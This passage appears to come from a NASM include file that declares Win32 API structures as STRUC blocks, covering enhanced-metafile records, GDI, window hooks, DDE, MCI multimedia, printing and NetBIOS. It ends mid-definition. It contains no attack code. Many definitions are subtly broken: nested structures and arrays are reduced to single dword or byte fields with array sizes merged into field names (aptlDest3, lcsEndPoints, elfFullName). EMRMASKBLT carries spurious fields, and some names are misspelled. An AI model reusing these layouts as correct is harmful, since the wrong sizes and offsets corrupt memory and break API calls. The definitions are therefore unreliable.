STRUC EMREXTTEXTOUT
.emr RESB EMR_size
.rclBounds RESB RECT_size
.iGraphicsMode RESD 1
.exScale RESQ 1
.eyScale RESQ 1
.emrtext RESD 1
ENDSTRUC

STRUC EMRBITBLT
.emr RESB EMR_size
.rclBounds RESB RECT_size
.xDest RESD 1
.yDest RESD 1
.cxDest RESD 1
.cyDest RESD 1
.dwRop RESD 1
.xSrc RESD 1
.ySrc RESD 1
.xformSrc RESD 1
.crBkColorSrc RESD 1
.iUsageSrc RESD 1
.offBmiSrc RESD 1
.cbBmiSrc RESD 1
.offBitsSrc RESD 1
.cbBitsSrc RESD 1
ENDSTRUC

STRUC EMRSTRETCHBLT
.emr RESB EMR_size
.rclBounds RESB RECT_size
.xDest RESD 1
.yDest RESD 1
.cxDest RESD 1
.cyDest RESD 1
.dwRop RESD 1
.xSrc RESD 1
.ySrc RESD 1
.xformSrc RESD 1
.crBkColorSrc RESD 1
.iUsageSrc RESD 1
.offBmiSrc RESD 1
.cbBmiSrc RESD 1
.offBitsSrc RESD 1
.cbBitsSrc RESD 1
.cxSrc RESD 1
.cySrc RESD 1
ENDSTRUC

STRUC EMRMASKBLT
.emr RESB EMR_size
.rclBounds RESB RECT_size
.xDest RESD 1
.yDest RESD 1
.cxDest RESD 1
.cyDest RESD 1
.dwRop RESD 1
.xSrc2 RESD 1
.cyDest2 RESD 1
.dwRop2 RESD 1
.xSrc RESD 1
.ySrc RESD 1
.xformSrc RESD 1
.crBkColorSrc RESD 1
.iUsageSrc RESD 1
.offBmiSrc RESD 1
.cbBmiSrc RESD 1
.offBitsSrc RESD 1
.cbBitsSrc RESD 1
.xMask RESD 1
.yMask RESD 1
.iUsageMask RESD 1
.offBmiMask RESD 1
.cbBmiMask RESD 1
.offBitsMask RESD 1
.cbBitsMask RESD 1
ENDSTRUC

STRUC EMRPLGBLT
.emr RESB EMR_size
.rclBounds RESB RECT_size
.aptlDest3 RESD 1
.xSrc RESD 1
.ySrc RESD 1
.cxSrc RESD 1
.cySrc RESD 1
.xformSrc RESD 1
.crBkColorSrc RESD 1
.iUsageSrc RESD 1
.offBmiSrc RESD 1
.cbBmiSrc RESD 1
.offBitsSrc RESD 1
.cbBitsSrc RESD 1
.xMask RESD 1
.yMask RESD 1
.iUsageMask RESD 1
.offBmiMask RESD 1
.cbBmiMask RESD 1
.offBitsMask RESD 1
.cbBitsMask RESD 1
ENDSTRUC

STRUC EMRSETDIBITSTODEVICE
.emr RESB EMR_size
.rclBounds RESB RECT_size
.xDest RESD 1
.yDest RESD 1
.xSrc RESD 1
.ySrc RESD 1
.cxSrc RESD 1
.cySrc RESD 1
.offBmiSrc RESD 1
.cbBmiSrc RESD 1
.offBitsSrc RESD 1
.cbBitsSrc RESD 1
.iUsageSrc RESD 1
.iStartScan RESD 1
.cScans RESD 1
ENDSTRUC

STRUC EMRSTRETCHDIBITS
.emr RESB EMR_size
.rclBounds RESB RECT_size
.xDest RESD 1
.yDest RESD 1
.xSrc RESD 1
.ySrc RESD 1
.cxSrc RESD 1
.cySrc RESD 1
.offBmiSrc RESD 1
.cbBmiSrc RESD 1
.offBitsSrc RESD 1
.cbBitsSrc RESD 1
.iUsageSrc RESD 1
.dwRop RESD 1
.cxDest RESD 1
.cyDest RESD 1
ENDSTRUC

STRUC EMREXTCREATEFONTINDIRECT
.emr RESB EMR_size
.ihFont RESD 1
.elfw RESD 1
ENDSTRUC

STRUC EMRCREATEPALETTE
.emr RESB EMR_size
.ihPal RESD 1
.lgpl RESD 1
ENDSTRUC

STRUC EMRCREATEPEN
.emr RESB EMR_size
.ihPen RESD 1
.lopn RESD 1
ENDSTRUC

STRUC EMREXTCREATEPEN
.emr RESB EMR_size
.ihPen RESD 1
.offBmi RESD 1
.cbBmi RESD 1
.offBits RESD 1
.cbBits RESD 1
.elp RESD 1
ENDSTRUC

STRUC EMRCREATEBRUSHINDIRECT
.emr RESB EMR_size
.ihBrush RESD 1
.lb RESD 1
ENDSTRUC

STRUC EMRCREATEMONOBRUSH
.emr RESB EMR_size
.ihBrush RESD 1
.iUsage RESD 1
.offBmi RESD 1
.cbBmi RESD 1
.offBits RESD 1
.cbBits RESD 1
ENDSTRUC

STRUC EMRCREATEDIBPATTERNBRUSHPT
.emr RESB EMR_size
.ihBursh RESD 1
.iUsage RESD 1
.offBmi RESD 1
.cbBmi RESD 1
.offBits RESD 1
.cbBits RESD 1
ENDSTRUC

STRUC BITMAPV4HEADER
.bV4Size RESD 1
.bV4Width RESD 1
.bV4Height RESD 1
.bV4Planes RESW 1
.bV4BitCount RESW 1
.bV4V4Compression RESD 1
.bV4SizeImage RESD 1
.bV4XPelsPerMeter RESD 1
.bV4YPelsPerMeter RESD 1
.bV4ClrUsed RESD 1
.bV4ClrImportant RESD 1
.bV4RedMask RESD 1
.bV4GreenMask RESD 1
.bV4BlueMask RESD 1
.bV4AlphaMask RESD 1
.bV4CSType RESD 1
.bV4Endpoints RESD 1
.bV4GammaRed RESD 1
.bV4GammaGreen RESD 1
.bV4GammaBlue RESD 1
ENDSTRUC

STRUC FONTSIGNATURE
.fsUsb4 RESD 1
.fsCsb2 RESD 1
ENDSTRUC

STRUC CHARSETINFO
.ciCharset RESD 1
.ciACP RESD 1
.xlfs RESD 1
ENDSTRUC

STRUC LOCALESIGNATURE
.lsUsb4 RESD 1
.lsCsbDefault RESD 1
.lsCsbSupported RESD 1
ENDSTRUC

STRUC NEWTEXTMETRICEX
.ntmTm RESD 1
.ntmFontSig RESD 1
ENDSTRUC

STRUC ENUMLOGFONTEX
.elfLogFont RESD 1
.elfFullName RESB 1
.elfStyle RESB 1
.elfScript RESB 1
ENDSTRUC

STRUC GCP_RESULTS
.lStructSize RESD 1
.lpOutString RESD 1
.lpOrder RESD 1
.lpDX RESD 1
.lpCaretPos RESD 1
.lpClass RESD 1
.lpGlyphs RESD 1
.nGlyphs RESD 1
.nMaxFit RESD 1
ENDSTRUC

STRUC CIEXYZ
.ciexyzX RESD 1
.ciexyzY RESD 1
.ciexyzZ RESD 1
ENDSTRUC

STRUC CIEXYZTRIPLE
.ciexyzRed RESD 1
.ciexyzGreen RESD 1
.ciexyBlue RESD 1
ENDSTRUC

STRUC LOGCOLORSPACE
.lcsSignature RESD 1
.lcsVersion RESD 1
.lcsSize RESD 1
.lcsCSType RESD 1
.lcsIntent RESD 1
.lcsEndPoints RESD 1
.lcsGammaRed RESD 1
.lcsGammaGreen RESD 1
.lcsGammaBlue RESD 1
.lcsFileName RESB MAX_PATH
ENDSTRUC

STRUC EMRSELECTCOLORSPACE
.emr RESB EMR_size
.ihCS RESD 1
ENDSTRUC

STRUC EMRCREATECOLORSPACE
.emr RESB EMR_size
.ihCS RESD 1
.lcs RESD 1
ENDSTRUC

STRUC CBTACTIVATESTRUCT
.fMouse RESD 1
.hWndActive RESD 1
ENDSTRUC

STRUC EVENTMSG
.message RESD 1
.paramL RESD 1
.paramH RESD 1
.time RESD 1
.hwnd RESD 1
ENDSTRUC

STRUC CWPSTRUCT
.lParam RESD 1
.wParam RESD 1
.message RESD 1
.hwnd RESD 1
ENDSTRUC
STRUC DEBUGHOOKINFO
.hModuleHook RESD 1
.Reserved RESD 1
.lParam RESD 1
.wParam RESD 1
.code RESD 1
ENDSTRUC

STRUC MOUSEHOOKSTRUCT
.pt RESB POINT_size
.hwnd RESD 1
.wHitTestCode RESD 1
.dwExtraInfo RESD 1
ENDSTRUC

STRUC MINMAXINFO
.ptReserved RESB POINT_size
.ptMaxSize RESB POINT_size
.ptMaxPosition RESB POINT_size
.ptMinTrackSize RESB POINT_size
.ptMaxTrackSize RESB POINT_size
ENDSTRUC

STRUC COPYDATASTRUCT
.dwData RESD 1
.cbData RESD 1
.lpData RESD 1
ENDSTRUC

STRUC WINDOWPOS
.hwnd RESD 1
.hWndInsertAfter RESD 1
.x RESD 1
.y RESD 1
.lx RESD 1
.ly RESD 1
.flags RESD 1
ENDSTRUC

STRUC ACCEL
.fVirt RESB 1
.key RESW 1
.cmd RESW 1
ENDSTRUC

STRUC PAINTSTRUCT
.hdc RESD 1
.fErase RESD 1
.rcPaint RESB RECT_size
.fRestore RESD 1
.fIncUpdate RESD 1
.rgbReserved RESB 32
ENDSTRUC

STRUC CREATESTRUCT
.lpCreateParams RESD 1
.hInstance RESD 1
.hMenu RESD 1
.hWndParent RESD 1
.ly RESD 1
.lx RESD 1
.y RESD 1
.x RESD 1
.style RESD 1
.lpszName RESD 1
.lpszClass RESD 1
.ExStyle RESD 1
ENDSTRUC

STRUC CBT_CREATEWND
.lpcs RESD 1
.hWndInsertAfter RESD 1
ENDSTRUC

STRUC WINDOWPLACEMENT
.iLength RESD 1
.flags RESD 1
.showCmd RESD 1
.ptMinPosition RESB POINT_size
.ptMaxPosition RESB POINT_size
.rcNormalPosition RESB RECT_size
ENDSTRUC

STRUC MEASUREITEMSTRUCT
.CtlType RESD 1
.CtlID RESD 1
.itemID RESD 1
.itemWidth RESD 1
.itemHeight RESD 1
.itemData RESD 1
ENDSTRUC

STRUC DRAWITEMSTRUCT
.CtlType RESD 1
.CtlID RESD 1
.itemID RESD 1
.itemAction RESD 1
.itemState RESD 1
.hwndItem RESD 1
.hDC RESD 1
.rcItem RESB RECT_size
.itemData RESD 1
ENDSTRUC

STRUC DELETEITEMSTRUCT
.CtlType RESD 1
.CtlID RESD 1
.itemID RESD 1
.hwndItem RESD 1
.itemData RESD 1
ENDSTRUC

STRUC COMPAREITEMSTRUCT
.CtlType RESD 1
.CtlID RESD 1
.hwndItem RESD 1
.itemID1 RESD 1
.itemData1 RESD 1
.itemID2 RESD 1
.itemData2 RESD 1
ENDSTRUC

STRUC DLGTEMPLATE
.style RESD 1
.dwExtendedStyle RESD 1
.cdit RESW 1
.x RESW 1
.y RESW 1
.lx RESW 1
.ly RESW 1
ENDSTRUC

STRUC DLGITEMTEMPLATE
.style RESD 1
.dwExtendedStyle RESD 1
.x RESW 1
.y RESW 1
.lx RESW 1
.ly RESW 1
.id RESW 1
ENDSTRUC

STRUC MENUITEMTEMPLATEHEADER
.versionNumber RESW 1
.loffset RESW 1
ENDSTRUC

STRUC MENUITEMTEMPLATE
.mtOption RESW 1
.mtID RESW 1
.mtString RESB 1
ENDSTRUC

STRUC ICONINFO
.fIcon RESD 1
.xHotspot RESD 1
.yHotspot RESD 1
.hbmMask RESD 1
.hbmColor RESD 1
ENDSTRUC

STRUC MDICREATESTRUCT
.szClass RESD 1
.szTitle RESD 1
.hOwner RESD 1
.x RESD 1
.y RESD 1
.lx RESD 1
.ly RESD 1
.style RESD 1
.lParam RESD 1
ENDSTRUC

STRUC CLIENTCREATESTRUCT
.hWindowMenu RESD 1
.idFirstChild RESD 1
ENDSTRUC

STRUC MULTIKEYHELP
.mkSize RESD 1
.mkKeylist RESB 1
.szKeyphrase RESB 253
ENDSTRUC

STRUC HELPWININFO
.wStructSize RESD 1
.x RESD 1
.y RESD 1
.lx RESD 1
.ly RESD 1
.wMax RESD 1
.rgchMember RESB 2
ENDSTRUC

STRUC DDEACK
.bAppReturnCode RESW 1
.Reserved RESW 1
.fbusy RESW 1
.fack RESW 1
ENDSTRUC

STRUC DDEADVISE
.Reserved RESW 1
.fDeferUpd RESW 1
.fAckReq RESW 1
.cfFormat RESW 1
ENDSTRUC

STRUC DDEDATA
.unused RESW 1
.fresponse RESW 1
.fRelease RESW 1
.Reserved RESW 1
.fAckReq RESW 1
.cfFormat RESW 1
.Value1 RESB 1
ENDSTRUC

STRUC DDEPOKE
.unused RESW 1
.fRelease RESW 1
.fReserved RESW 1
.cfFormat RESW 1
.Value1 RESB 1
ENDSTRUC

STRUC DDELN
.unused RESW 1
.fRelease RESW 1
.fDeferUpd RESW 1
.fAckReq RESW 1
.cfFormat RESW 1
ENDSTRUC

STRUC DDEUP
.unused RESW 1
.fAck RESW 1
.fRelease RESW 1
.fReserved RESW 1
.fAckReq RESW 1
.cfFormat RESW 1
.xRGB1 RESB 1
ENDSTRUC

STRUC HSZPAIR
.hszSvc RESD 1
.hszTopic RESD 1
ENDSTRUC

STRUC SECURITY_QUALITY_OF_SERVICE
.iLength RESD 1
.Impersonationlevel RESW 1
.ContextTrackingMode RESW 1
.EffectiveOnly RESD 1
ENDSTRUC

STRUC CONVCONTEXT
.cb RESD 1
.wFlags RESD 1
.wCountryID RESD 1
.iCodePage RESD 1
.dwLangID RESD 1
.dwSecurity RESD 1
.qos RESD 1
ENDSTRUC

STRUC CONVINFO
.cb RESD 1
.hUser RESD 1
.hConvPartner RESD 1
.hszSvcPartner RESD 1
.hszServiceReq RESD 1
.hszTopic RESD 1
.hszItem RESD 1
.wFmt RESD 1
.wType RESD 1
.wStatus RESD 1
.wConvst RESD 1
.wLastError RESD 1
.hConvList RESD 1
.ConvCtxt RESD 1
.hwnd RESD 1
.hwndPartner RESD 1
ENDSTRUC

STRUC DDEML_MSG_HOOK_DATA
.uiLo RESD 1
.uiHi RESD 1
.cbData RESD 1
.xData RESD 1
ENDSTRUC

STRUC MONMSGSTRUCT
.cb RESD 1
.hwndTo RESD 1
.dwTime RESD 1
.htask RESD 1
.wMsg RESD 1
.wParam RESD 1
.lParam RESD 1
.dmhd RESD 1
ENDSTRUC

STRUC MONCBSTRUCT
.cb RESD 1
.dwTime RESD 1
.htask RESD 1
.dwRet RESD 1
.wType RESD 1
.wFmt RESD 1
.hConv RESD 1
.hsz1 RESD 1
.hsz2 RESD 1
.hData RESD 1
.dwData1 RESD 1
.dwData2 RESD 1
.cc RESD 1
.cbData RESD 1
.xData8 RESD 1
ENDSTRUC

STRUC MONHSZSTRUCT
.cb RESD 1
.fsAction RESD 1
.dwTime RESD 1
.hsz RESD 1
.htask RESD 1
.xstr RESB 1
ENDSTRUC

STRUC MONERRSTRUCT
.cb RESD 1
.wLastError RESD 1
.dwTime RESD 1
.htask RESD 1
ENDSTRUC

STRUC MONLINKSTRUCT
.cb RESD 1
.dwTime RESD 1
.htask RESD 1
.fEstablished RESD 1
.fNoData RESD 1
.hszSvc RESD 1
.hszTopic RESD 1
.hszItem RESD 1
.wFmt RESD 1
.fServer RESD 1
.hConvServer RESD 1
.hConvClient RESD 1
ENDSTRUC

STRUC MONCONVSTRUCT
.cb RESD 1
.fConnect RESD 1
.dwTime RESD 1
.htask RESD 1
.hszSvc RESD 1
.hszTopic RESD 1
.hConvClient RESD 1
.hConvServer RESD 1
ENDSTRUC

STRUC smpte
.hour RESB 1
.minute RESB 1
.sec RESB 1
.frame RESB 1
.fps RESB 1
.dummy RESB 1
.pad RESB 1
ENDSTRUC

STRUC midi
.songptrpos RESD 1
ENDSTRUC
STRUC MMTIME
.wType RESD 1
.u RESD 1
ENDSTRUC

STRUC MIDIEVENT
.dwDeltaTime RESD 1
.dwStreamID RESD 1
.dwEvent RESD 1
.dwParms RESD 1
ENDSTRUC

STRUC MIDISTRMBUFFVER
.dwVersion RESD 1
.dwMid RESD 1
.dwOEMVersion RESD 1
ENDSTRUC

STRUC MIDIPROPTIMEDIV
.cbStruct RESD 1
.dwTimeDiv RESD 1
ENDSTRUC

STRUC MIDIPROPTEMPO
.cbStruct RESD 1
.dwTempo RESD 1
ENDSTRUC

STRUC MIXERCAPS
.wMid RESW 1
.wPid RESW 1
.vDriverVersion RESD 1
.szPname RESB MAXPNAMELEN
.fdwSupport RESD 1
.cDestinations RESD 1
ENDSTRUC

STRUC Target
.dwType RESD 1
.dwDeviceID RESD 1
.wMid RESW 1
.wPid RESW 1
.vDriverVersion RESD 1
.szPname RESB MAXPNAMELEN
ENDSTRUC

STRUC MIXERLINECONTROLS
.cbStruct RESD 1
.dwLineID RESD 1
.dwControl RESD 1
.cControls RESD 1
.cbmxctrl RESD 1
.pamxctrl RESD 1
ENDSTRUC

STRUC MIXERCONTROLDETAILS
.cbStruct RESD 1
.dwControlID RESD 1
.cChannels RESD 1
.item RESD 1
.cbDetails RESD 1
.paDetails RESD 1
ENDSTRUC
STRUC MIXERCONTROLDETAILS_BOOLEAN
.fValue RESD 1
ENDSTRUC

STRUC MIXERCONTROLDETAILS_SIGNED
.lValue RESD 1
ENDSTRUC

STRUC MIXERCONTROLDETAILS_UNSIGNED
.dwValue RESD 1
ENDSTRUC

STRUC JOYINFOEX
.dwSize RESD 1
.dwFlags RESD 1
.dwXpos RESD 1
.dwYpos RESD 1
.dwZpos RESD 1
.dwRpos RESD 1
.dwUpos RESD 1
.dwVpos RESD 1
.dwButtons RESD 1
.dwButtonNumber RESD 1
.dwPOV RESD 1
.dwReserved1 RESD 1
.dwReserved2 RESD 1
ENDSTRUC

STRUC DRVCONFIGINFO
.dwDCISize RESD 1
.lpszDCISectionName RESD 1
.lpszDCIAliasName RESD 1
.dnDevNode RESD 1
ENDSTRUC

STRUC WAVEHDR
.lpData RESD 1
.dwBufferiLength RESD 1
.dwBytesRecorded RESD 1
.dwUser RESD 1
.dwFlags RESD 1
.dwLoops RESD 1
.lpNext RESD 1
.Reserved RESD 1
ENDSTRUC

STRUC WAVEOUTCAPS
.wMid RESW 1
.wPid RESW 1
.vDriverVersion RESD 1
.szPname RESB MAXPNAMELEN
.dwFormats RESD 1
.wChannels RESW 1
.dwSupport RESD 1
ENDSTRUC

STRUC WAVEINCAPS
.wMid RESW 1
.wPid RESW 1
.vDriverVersion RESD 1
.szPname RESB MAXPNAMELEN
.dwFormats RESD 1
.wChannels RESW 1
ENDSTRUC

STRUC WAVEFORMAT
.wFormatTag RESW 1
.nChannels RESW 1
.nSamplesPerSec RESD 1
.nAvgBytesPerSec RESD 1
.nBlockAlign RESW 1
ENDSTRUC

STRUC PCMWAVEFORMAT
.wf RESD 1
.wBitsPerSample RESW 1
ENDSTRUC

STRUC MIDIOUTCAPS
.wMid RESW 1
.wPid RESW 1
.vDriverVersion RESD 1
.szPname RESB MAXPNAMELEN
.wTechnology RESW 1
.wVoices RESW 1
.wNotes RESW 1
.wChannelMask RESW 1
.dwSupport RESD 1
ENDSTRUC

STRUC MIDIINCAPS
.wMid RESW 1
.wPid RESW 1
.vDriverVersion RESD 1
.szPname RESB MAXPNAMELEN
ENDSTRUC

STRUC MIDIHDR
.lpData RESD 1
.dwBufferiLength RESD 1
.dwBytesRecorded RESD 1
.dwUser RESD 1
.dwFlags RESD 1
.lpNext RESD 1
.Reserved RESD 1
ENDSTRUC

STRUC AUXCAPS
.wMid RESW 1
.wPid RESW 1
.vDriverVersion RESD 1
.szPname RESB MAXPNAMELEN
.wTechnology RESW 1
.dwSupport RESD 1
ENDSTRUC

STRUC TIMECAPS
.wPeriodMin RESD 1
.wPeriodMax RESD 1
ENDSTRUC

STRUC JOYCAPS
.wMid RESW 1
.wPid RESW 1
.szPname RESB MAXPNAMELEN
.wXmin RESW 1
.wXmax RESW 1
.wYmin RESW 1
.wYmax RESW 1
.wZmin RESW 1
.wZmax RESW 1
.wNumButtons RESW 1
.wPeriodMin RESW 1
.wPeriodMax RESW 1
ENDSTRUC

STRUC JOYINFO
.wXpos RESW 1
.wYpos RESW 1
.wZpos RESW 1
.wButtons RESW 1
ENDSTRUC

STRUC MMIOINFO
.dwFlags RESD 1
.fccIOProc RESD 1
.pIOProc RESD 1
.wErrorRet RESD 1
.htask RESD 1
.cchBuffer RESD 1
.pchBuffer RESD 1
.pchNext RESD 1
.pchEndRead RESD 1
.pchEndWrite RESD 1
.lBufOffset RESD 1
.lDiskOffset RESD 1
.adwInfo4 RESD 1
.dwReserved1 RESD 1
.dwReserved2 RESD 1
.hmmio RESD 1
ENDSTRUC

STRUC MMCKINFO
.ckid RESD 1
.ckSize RESD 1
.fccType RESD 1
.dwDataOffset RESD 1
.dwFlags RESD 1
ENDSTRUC

STRUC MCI_GENERIC_PARMS
.dwCallback RESD 1
ENDSTRUC

STRUC MCI_OPEN_PARMS
.dwCallback RESD 1
.wDeviceID RESD 1
.lpstrDeviceType RESD 1
.lpstrElementName RESD 1
.lpstrAlias RESD 1
ENDSTRUC

STRUC MCI_PLAY_PARMS
.dwCallback RESD 1
.dwFrom RESD 1
.dwTo RESD 1
ENDSTRUC
STRUC MCI_SEEK_PARMS
.dwCallback RESD 1
.dwTo RESD 1
ENDSTRUC

STRUC MCI_STATUS_PARMS
.dwCallback RESD 1
.dwReturn RESD 1
.dwItem RESD 1
.dwTrack RESW 1
ENDSTRUC

STRUC MCI_INFO_PARMS
.dwCallback RESD 1
.lpstrReturn RESD 1
.dwRetSize RESD 1
ENDSTRUC

STRUC MCI_GETDEVCAPS_PARMS
.dwCallback RESD 1
.dwReturn RESD 1
.dwIten RESD 1
ENDSTRUC

STRUC MCI_SYSINFO_PARMS
.dwCallback RESD 1
.lpstrReturn RESD 1
.dwRetSize RESD 1
.dwNumber RESD 1
.wDeviceType RESD 1
ENDSTRUC

STRUC MCI_SET_PARMS
.dwCallback RESD 1
.dwTimeFormat RESD 1
.dwAudio RESD 1
ENDSTRUC

STRUC MCI_BREAK_PARMS
.dwCallback RESD 1
.nVirtKey RESD 1
.hwndBreak RESD 1
ENDSTRUC

STRUC MCI_SOUND_PARMS
.dwCallback RESD 1
.lpstrSoundName RESD 1
ENDSTRUC

STRUC MCI_SAVE_PARMS
.dwCallback RESD 1
.lpFileName RESD 1
ENDSTRUC

STRUC MCI_LOAD_PARMS
.dwCallback RESD 1
.lpFileName RESD 1
ENDSTRUC

STRUC MCI_RECORD_PARMS
.dwCallback RESD 1
.dwFrom RESD 1
.dwTo RESD 1
ENDSTRUC

STRUC MCI_VD_PLAY_PARMS
.dwCallback RESD 1
.dwFrom RESD 1
.dwTo RESD 1
.dwSpeed RESD 1
ENDSTRUC

STRUC MCI_VD_STEP_PARMS
.dwCallback RESD 1
.dwFrames RESD 1
ENDSTRUC

STRUC MCI_VD_ESCAPE_PARMS
.dwCallback RESD 1
.lpstrCommand RESD 1
ENDSTRUC

STRUC MCI_WAVE_OPEN_PARMS
.dwCallback RESD 1
.wDeviceID RESD 1
.lpstrDeviceType RESD 1
.lpstrElementName RESD 1
.lpstrAlias RESD 1
.dwBufferSeconds RESD 1
ENDSTRUC

STRUC MCI_WAVE_DELETE_PARMS
.dwCallback RESD 1
.dwFrom RESD 1
.dwTo RESD 1
ENDSTRUC

STRUC MCI_WAVE_SET_PARMS
.dwCallback RESD 1
.dwTimeFormat RESD 1
.dwAudio RESD 1
.wInput RESD 1
.wOutput RESD 1
.wFormatTag RESW 1
.wReserved2 RESW 1
.nChannels RESW 1
.wReserved3 RESW 1
.nSamplesPerSec RESD 1
.nAvgBytesPerSec RESD 1
.nBlockAlign RESW 1
.wReserved4 RESW 1
.wBitsPerSample RESW 1
.wReserved5 RESW 1
ENDSTRUC

STRUC MCI_SEQ_SET_PARMS
.dwCallback RESD 1
.dwTimeFormat RESD 1
.dwAudio RESD 1
.dwTempo RESD 1
.dwPort RESD 1
.dwSlave RESD 1
.dwMaster RESD 1
.dwOffset RESD 1
ENDSTRUC
STRUC MCI_ANIM_OPEN_PARMS
.dwCallback RESD 1
.wDeviceID RESD 1
.lpstrDeviceType RESD 1
.lpstrElementName RESD 1
.lpstrAlias RESD 1
.dwStyle RESD 1
.hWndParent RESD 1
ENDSTRUC

STRUC MCI_ANIM_PLAY_PARMS
.dwCallback RESD 1
.dwFrom RESD 1
.dwTo RESD 1
.dwSpeed RESD 1
ENDSTRUC

STRUC MCI_ANIM_STEP_PARMS
.dwCallback RESD 1
.dwFrames RESD 1
ENDSTRUC

STRUC MCI_ANIM_WINDOW_PARMS
.dwCallback RESD 1
.hwnd RESD 1
.nCmdShow RESD 1
.lpstrText RESD 1
ENDSTRUC

STRUC MCI_ANIM_RECT_PARMS
.dwCallback RESD 1
.rc RESB RECT_size
ENDSTRUC

STRUC MCI_ANIM_UPDATE_PARMS
.dwCallback RESD 1
.rc RESB RECT_size
.hDC RESD 1
ENDSTRUC

STRUC MCI_OVLY_OPEN_PARMS
.dwCallback RESD 1
.wDeviceID RESD 1
.lpstrDeviceType RESD 1
.lpstrElementName RESD 1
.lpstrAlias RESD 1
.dwStyle RESD 1
.hWndParent RESD 1
ENDSTRUC

STRUC MCI_OVLY_WINDOW_PARMS
.dwCallback RESD 1
.hwnd RESD 1
.nCmdShow RESD 1
.lpstrText RESD 1
ENDSTRUC

STRUC MCI_OVLY_RECT_PARMS
.dwCallback RESD 1
.rc RESB RECT_size
ENDSTRUC

STRUC MCI_OVLY_SAVE_PARMS
.dwCallback RESD 1
.lpFileName RESD 1
.rc RESB RECT_size
ENDSTRUC

STRUC MCI_OVLY_LOAD_PARMS
.dwCallback RESD 1
.lpFileName RESD 1
.rc RESB RECT_size
ENDSTRUC

STRUC PRINTER_INFO_1
.flags RESD 1
.pDescription RESD 1
.pName RESD 1
.pComment RESD 1
ENDSTRUC

STRUC PRINTER_INFO_2
.pServerName RESD 1
.pPrinterName RESD 1
.pShareName RESD 1
.pPortName RESD 1
.pDriverName RESD 1
.pComment RESD 1
.pLocation RESD 1
.pDevMode RESD 1
.pSepFile RESD 1
.pPrintProcessor RESD 1
.pDatatype RESD 1
.pParameters RESD 1
.pSecurityDescriptor RESD 1
.Attributes RESD 1
.Priority RESD 1
.DefaultPriority RESD 1
.StartTime RESD 1
.UntilTime RESD 1
.Status RESD 1
.cJobs RESD 1
.AveragePPM RESD 1
ENDSTRUC

STRUC PRINTER_INFO_3
.pSecurityDescriptor RESD 1
ENDSTRUC

STRUC JOB_INFO_1
.JobId RESD 1
.pPrinterName RESD 1
.pMachineName RESD 1
.pUserName RESD 1
.pDocument RESD 1
.pDatatype RESD 1
.pStatus RESD 1
.Status RESD 1
.Priority RESD 1
.Position RESD 1
.TotalPages RESD 1
.PagesPrinted RESD 1
.Submitted RESD 1
ENDSTRUC

STRUC JOB_INFO_2
.JobId RESD 1
.pPrinterName RESD 1
.pMachineName RESD 1
.pUserName RESD 1
.pDocument RESD 1
.pNotifyName RESD 1
.pDatatype RESD 1
.pPrintProcessor RESD 1
.pParameters RESD 1
.pDriverName RESD 1
.pDevMode RESD 1
.pStatus RESD 1
.pSecurityDescriptor RESD 1
.Status RESD 1
.Priority RESD 1
.Position RESD 1
.StartTime RESD 1
.UntilTime RESD 1
.TotalPages RESD 1
.isize RESD 1
.Submitted RESD 1
.time RESD 1
.PagesPrinted RESD 1
ENDSTRUC

STRUC ADDJOB_INFO_1
.Path RESD 1
.JobId RESD 1
ENDSTRUC

STRUC DRIVER_INFO_1
.pName RESD 1
ENDSTRUC

STRUC DRIVER_INFO_2
.cVersion RESD 1
.pName RESD 1
.pEnvironment RESD 1
.pDriverPath RESD 1
.pDataFile RESD 1
.pConfigFile RESD 1
ENDSTRUC

STRUC DOC_INFO_1
.pDocName RESD 1
.pOutputFile RESD 1
.pDatatype RESD 1
ENDSTRUC

STRUC FORM_INFO_1
.pName RESD 1
.isize RESD 1
.ImageableArea RESD 1
ENDSTRUC

STRUC PRINTPROCESSOR_INFO_1
.pName RESD 1
ENDSTRUC

STRUC PORT_INFO_1
.pName RESD 1
ENDSTRUC
STRUC MONITOR_INFO_1
.pName RESD 1
ENDSTRUC

STRUC MONITOR_INFO_2
.pName RESD 1
.pEnvironment RESD 1
.pDLLName RESD 1
ENDSTRUC

STRUC DATATYPES_INFO_1
.pName RESD 1
ENDSTRUC

STRUC PRINTER_DEFAULTS
.pDatatype RESD 1
.pDevMode RESD 1
.DesiredAccess RESD 1
ENDSTRUC

STRUC PRINTER_INFO_4
.pPrinterName RESD 1
.pServerName RESD 1
.Attributes RESD 1
ENDSTRUC

STRUC PRINTER_INFO_5
.pPrinterName RESD 1
.pPortName RESD 1
.Attributes RESD 1
.DeviceNotSelectedTimeout RESD 1
.TransmissionRetryTimeout RESD 1
ENDSTRUC

STRUC DRIVER_INFO_3
.cVersion RESD 1
.pName RESD 1
.pEnvironment RESD 1
.pDriverPath RESD 1
.pDataFile RESD 1
.pConfigFile RESD 1
.pHelpFile RESD 1
.pDependentFiles RESD 1
.pMonitorName RESD 1
.pDefaultDataType RESD 1
ENDSTRUC

STRUC DOC_INFO_2
.pDocName RESD 1
.pOutputFile RESD 1
.pDatatype RESD 1
.dwMode RESD 1
.JobId RESD 1
ENDSTRUC

STRUC PORT_INFO_2
.pPortName RESD 1
.pMonitorName RESD 1
.pDescription RESD 1
.fPortType RESD 1
.Reserved RESD 1
ENDSTRUC
STRUC PROVIDOR_INFO_1
.pName RESD 1
.pEnvironment RESD 1
.pDLLName RESD 1
ENDSTRUC

STRUC NETRESOURCE
.dwScope RESD 1
.dwType RESD 1
.dwDisplayType RESD 1
.dwUsage RESD 1
.lpLocalName RESD 1
.lpRemoteName RESD 1
.lpComment RESD 1
.lpProvider RESD 1
ENDSTRUC

STRUC NCB
.ncb_command RESW 1
.ncb_retcode RESW 1
.ncb_lsn RESW 1
.ncb_num RESW 1
.ncb_buffer RESD 1
.ncb_length RESW 1
.ncb_callname RESB NCBNAMSZ
.ncb_name RESB NCBNAMSZ
.ncb_rto RESW 1
.ncb_sto RESW 1
.ncb_post RESD 1
.ncb_lana_num RESW 1
.ncb_cmd_cplt RESW 1
.ncb_reserve10 RESB 1
.ncb_event RESD 1
ENDSTRUC

STRUC ADAPTER_STATUS
.adapter_address RESB 6
.rev_major RESW 1
.reserved0 RESW 1
.adapter_type RESW 1
.rev_minor RESW 1
.duration RESW 1
.frmr_recv RESW 1
.frmr_xmit RESW 1
.iframe_recv_err RESW 1
.xmit_aborts RESW 1
.xmit_success RESD 1
.recv_success RESD 1
.iframe_xmit_err RESW 1
.recv_buff_unavail RESW 1
.t1_timeouts RESW 1
.ti_timeouts RESW 1
.Reserved1 RESD 1
.free_ncbs RESW 1
.max_cfg_ncbs RESW 1
.max_ncbs RESW 1
.xmit_buf_unavail RESW 1
.max_dgram_isize RESW 1
.pending_sess RESW 1
